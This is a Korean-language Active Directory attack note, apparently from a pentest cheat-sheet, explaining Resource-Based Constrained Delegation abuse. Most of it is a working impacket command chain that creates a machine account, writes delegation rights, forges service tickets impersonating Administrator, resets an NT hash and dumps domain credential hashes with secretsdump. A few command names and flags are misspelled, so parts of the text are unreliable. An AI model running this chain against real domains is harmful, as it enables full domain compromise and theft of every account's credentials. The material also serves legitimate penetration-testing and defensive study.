RBCD는 Resource-Based Constrained Delegation으로 자세한 설명은 을 참조합니다.
이 권한을 직접 설정하기 위해서는 설정을 원하는 컴퓨터 계정의
Properties > Security > User > Write msDS-AllowedToActOnBehalfOfOtherIdentity
속성을 체크 표시로 변경합니다.
권한이 있을 때 공격자는 타겟 머신의 RBCD를 허가할 계정을 등록해야 합니다.
이때 MAQ 값이 1 이상인 경우 직접 장악한 계정으로부터 새로운 머신 계정을 생성하여
생성한 머신을 RBCD를 통해 제약 위임 권한을 등록하여
머신을 통해서 다른 사용자의 TGT를 발급받을 수 있습니다.
하지만 MAQ 값이 0이라고 하더라도 장악한 계정을 RBCD에 등록하여 사용 가능합니다.
Abuse
권한을 악용하기 위해서는 타겟 머신의 RBCD에 허용할 계정을 등록해야 합니다.
등록할 계정은 임의로 머신 계정을 생성합니다.
# 새로운 머신 계정 생성
impacket-addcomputer -method LDAPS -computer-name 'ATTACKERSYSTEM$' -computer-pass 'Summer2018!' -dc-host $DomainController -domain-netbios $DOMAIN 'domain/user:password'
# 타겟의 RBCD에 계정 등록
impacket-rbdc -delegate-from 'ATTACKERSYSTEM$' -delegate-to 'TargetComputer' -action 'write' 'domain/user:password'
# 등록된 계정을 통해 TGT 발급
impacket-getST -spn 'cifs/targetcomputer.testlab.local' -impersonate Administrator 'domain/attackersystem$:Summer2018!'
# 장악한 계정을 RFCD에 등록
impacket-rbcd -delegate-to <Target> -delegate-from <USER> -dc-ip <dc-ip> -action 'write' <Domain/USER:PASS>
# 계정의 TGT 발급
impacket-getTGT <Domain/USER> -hashed <NTLM>
# 발급된 TGT을 분석
impacket-describeTicket <Ticket>
# 계정의 NT Hash 값을 TGT 세션 키 값으로 변경
python3 smbpasswd.py <Domain/USER:PASS@DC FQDN>
# S4U2self를 통해서 도메인 관리자 ST 발급
impacket-getST -u2u -impersonate Administrator -spn 'cifs/<DC FQDN>' <Domain/USER> -k -no-pass
# 발급된 도메인 관리자 ST 환경 변수 등록
export KRB5CCNAME=<Service Ticket>
# 도메인 NT Hash 덤핑
impacket-secretsdump <DC FQDN> -k